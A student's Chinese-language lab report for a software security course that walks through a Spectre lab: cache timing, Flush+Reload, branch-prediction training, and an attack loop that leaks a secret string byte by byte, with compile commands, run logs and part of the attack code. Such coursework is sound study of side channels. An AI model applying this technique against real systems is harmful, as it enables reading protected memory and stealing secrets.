实 验 报 告

Sprctre Attack

课程名称	软件安全
学　　院	计算机科学技术学院
专　　业	信息安全
姓　　名	冉津豪
学　　号	17307130179

开 课 时 间 2019 至 2020 学年第 二 学期

目录

Task 1: Reading from Cache versus from Memory

编译 CacheTime.c 并执行 10 次。-march=native 编译器启用本地机器支持的所有指令子集。

```
gcc -march=native -o CacheTime CacheTime.c
for ((i=0; i<=9; i++)) do ./CacheTime >> log; done
```

可以看见，访问 array[3*4096]和 array[7*4096]的时间明显要少。

```
Access time for array[0*4096]: 924 CPU cycles
Access time for array[1*4096]: 249 CPU cycles
Access time for array[2*4096]: 233 CPU cycles
Access time for array[3*4096]: 31 CPU cycles
Access time for array[4*4096]: 157 CPU cycles
Access time for array[5*4096]: 138 CPU cycles
Access time for array[6*4096]: 172 CPU cycles
Access time for array[7*4096]: 29 CPU cycles
Access time for array[8*4096]: 329 CPU cycles
Access time for array[9*4096]: 124 CPU cycles
Access time for array[0*4096]: 713 CPU cycles
Access time for array[1*4096]: 213 CPU cycles
Access time for array[2*4096]: 801 CPU cycles
Access time for array[3*4096]: 45 CPU cycles
Access time for array[4*4096]: 121 CPU cycles
Access time for array[5*4096]: 130 CPU cycles
Access time for array[6*4096]: 146 CPU cycles
Access time for array[7*4096]: 26 CPU cycles
Access time for array[8*4096]: 128 CPU cycles
Access time for array[9*4096]: 151 CPU cycles
Access time for array[0*4096]: 603 CPU cycles
Access time for array[1*4096]: 408 CPU cycles
Access time for array[2*4096]: 130 CPU cycles
Access time for array[3*4096]: 47 CPU cycles
Access time for array[4*4096]: 116 CPU cycles
Access time for array[5*4096]: 118 CPU cycles
Access time for array[6*4096]: 132 CPU cycles
Access time for array[7*4096]: 28 CPU cycles
Access time for array[8*4096]: 150 CPU cycles
Access time for array[9*4096]: 160 CPU cycles
Access time for array[0*4096]: 710 CPU cycles
Access time for array[1*4096]: 120 CPU cycles
Access time for array[2*4096]: 672 CPU cycles
Access time for array[3*4096]: 38 CPU cycles
Access time for array[4*4096]: 118 CPU cycles
Access time for array[5*4096]: 179 CPU cycles
Access time for array[6*4096]: 122 CPU cycles
Access time for array[7*4096]: 33 CPU cycles
Access time for array[8*4096]: 114 CPU cycles
Access time for array[9*4096]: 132 CPU cycles
Access time for array[0*4096]: 749 CPU cycles
Access time for array[1*4096]: 126 CPU cycles
Access time for array[2*4096]: 120 CPU cycles
Access time for array[3*4096]: 25 CPU cycles
Access time for array[4*4096]: 118 CPU cycles
```

Task 2: Using Cache as a Side Channel

编译 FlushReload.c 并执行 20 次。

```
gcc -march=native -o FlushReload FlushReload.c
for ((i=0; i<=19; i++)) do ./FlushReload >> log1; done
```

从结果看，20 次准得到正确的 Secret，CACHE HIT THRESHOLD 也没必要再调节。

```
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
array[94*4096 + 1024] is in cache.
The Secret = 94.
```

Task 3: Out-of-Order Execution and Branch Prediction

编译 SpectreExperiment.c 并执行 20 次。

```
gcc -march=native -o SpectreExperiment SpectreExperiment.c
for ((i=0; i<=19; i++)) do ./SpectreExperiment >> log2; done
```

从结果看，20 次准得到正确的 Secret。

```
array[97*4096 + 1024] is in cache.
The Secret = 97.
array[97*4096 + 1024] is in cache.
The Secret = 97.
array[97*4096 + 1024] is in cache.
The Secret = 97.
array[97*4096 + 1024] is in cache.
The Secret = 97.
array[97*4096 + 1024] is in cache.
The Secret = 97.
array[97*4096 + 1024] is in cache.
The Secret = 97.
array[97*4096 + 1024] is in cache.
The Secret = 97.
array[97*4096 + 1024] is in cache.
The Secret = 97.
array[97*4096 + 1024] is in cache.
The Secret = 97.
array[97*4096 + 1024] is in cache.
The Secret = 97.
array[97*4096 + 1024] is in cache.
The Secret = 97.
array[97*4096 + 1024] is in cache.
The Secret = 97.
array[97*4096 + 1024] is in cache.
The Secret = 97.
array[97*4096 + 1024] is in cache.
The Secret = 97.
array[97*4096 + 1024] is in cache.
The Secret = 97.
array[97*4096 + 1024] is in cache.
The Secret = 97.
array[97*4096 + 1024] is in cache.
The Secret = 97.
array[97*4096 + 1024] is in cache.
The Secret = 97.
array[97*4096 + 1024] is in cache.
The Secret = 97.
```

1. 注释掉后执行 20 次，没有任何结果输出。

是由于没有清楚 size 的缓存导致 size 加载过快，对 victim(97)没有进行 out – of – order 的提前访问，所以没有满足阈值的输出。

2. 替换④为 victim(i + 20)后执行 20 次。仅输出 1 错误结果。

由于训练时，访问的结果使得每次在 victim 中均为 false，使得 CPU 对于 victim(97)的预判断也为 false，并没有将目标内存块放到缓存。

Task 4: The Spectre Attack

编译 SpectreAttack.c 并执行 20 次。

```
gcc -march=native -o SpectreAttack SpectreAttack.c
for ((i=0; i<=19; i++)) do ./SpectreAttack >> log3; done
```

从结果看，排除访问过的实际返回值 0，得到正确的 Secret = 83。

```
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
array[0*4096 + 1024] is in cache.S
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
```

Task 5: Improve the Attack Accuracy

未经修改前，由于实际的 restrictedAccess(larger_x)的返回值为 0，所以 0 一定在最近的 Cache 中。修改后将 0 从比较中排除即可。

```
1    int max = 1;
2    for (i = 1; i < 256; i++){
3     if(scores[max] < scores[i])
4       max = i;
5    }
```

```
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 4
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 12
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 9
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 15
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 6
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 5
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 8
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 6
Reading secret value at 0xffffe80c = The  secret value is 83
The number of hits is 8
Reading secret value at 0xffffe80c = The  secret value is 83
```

Task 6: Steal the Entire Secret String

分别对 secret 的每一个字符地址进行攻击，得到每一位的 secret value，最后转化为字符串即可。

```
Reading secret value at 0xffffe87c = The  secret value is 83
The number of hits is 2
Reading secret value at 0xffffe87d = The  secret value is 111
The number of hits is 7
Reading secret value at 0xffffe87e = The  secret value is 109
The number of hits is 8
Reading secret value at 0xffffe87f = The  secret value is 101
The number of hits is 9
Reading secret value at 0xffffe880 = The  secret value is 32
The number of hits is 4
Reading secret value at 0xffffe881 = The  secret value is 83
The number of hits is 3
Reading secret value at 0xffffe882 = The  secret value is 101
The number of hits is 4
Reading secret value at 0xffffe883 = The  secret value is 99
The number of hits is 3
Reading secret value at 0xffffe884 = The  secret value is 114
The number of hits is 3
Reading secret value at 0xffffe885 = The  secret value is 101
The number of hits is 3
Reading secret value at 0xffffe886 = The  secret value is 116
The number of hits is 6
Reading secret value at 0xffffe887 = The  secret value is 32
The number of hits is 8
Reading secret value at 0xffffe888 = The  secret value is 86
The number of hits is 8
Reading secret value at 0xffffe889 = The  secret value is 97
The number of hits is 8
Reading secret value at 0xffffe88a = The  secret value is 108
The number of hits is 7
Reading secret value at 0xffffe88b = The  secret value is 117
The number of hits is 6
Reading secret value at 0xffffe88c = The  secret value is 101
The number of hits is 5
Reading secret value at 0xffffe88d = The  secret value is 1
The number of hits is 0
Reading secret value at 0xffffe88e = The  secret value is 1
The number of hits is 0
Reading secret value at 0xffffe88f = The  secret value is 101
The number of hits is 1
Some Secret ValueSOHSOHe
```

详细代码如下：

```
1   int attack(size_t larger_x){
2     int i;
3     uint8_t s;
4     flushSideChannel();
5     for(i=0;i<256; i++) scores[i]=0;
6     for (i = 0; i < 1000; i++) {
7       spectreAttack(larger_x);
8       reloadSideChannelImproved();
9     }
10    int max = 1;
11    for (i = 1; i < 256; i++){
12     if(scores[max] < scores[i])
13       max = i;
14    }
15    printf("Reading secret value at %p = ", (void*)larger_x);
16    printf("The  secret value is %d\n", max);
17    printf("The number of hits is %d\n", scores[max]);
18    return max;
19  }
20
21  int main() {
22    char buf[20];
23    size_t larger_x = (size_t)(secret-(char*)buffer);
24    for(int i = 0; i < 20; i++){
25      buf[i]  = attack(larger_x + i);
26    }
27    printf("%s", buf);
28  }
```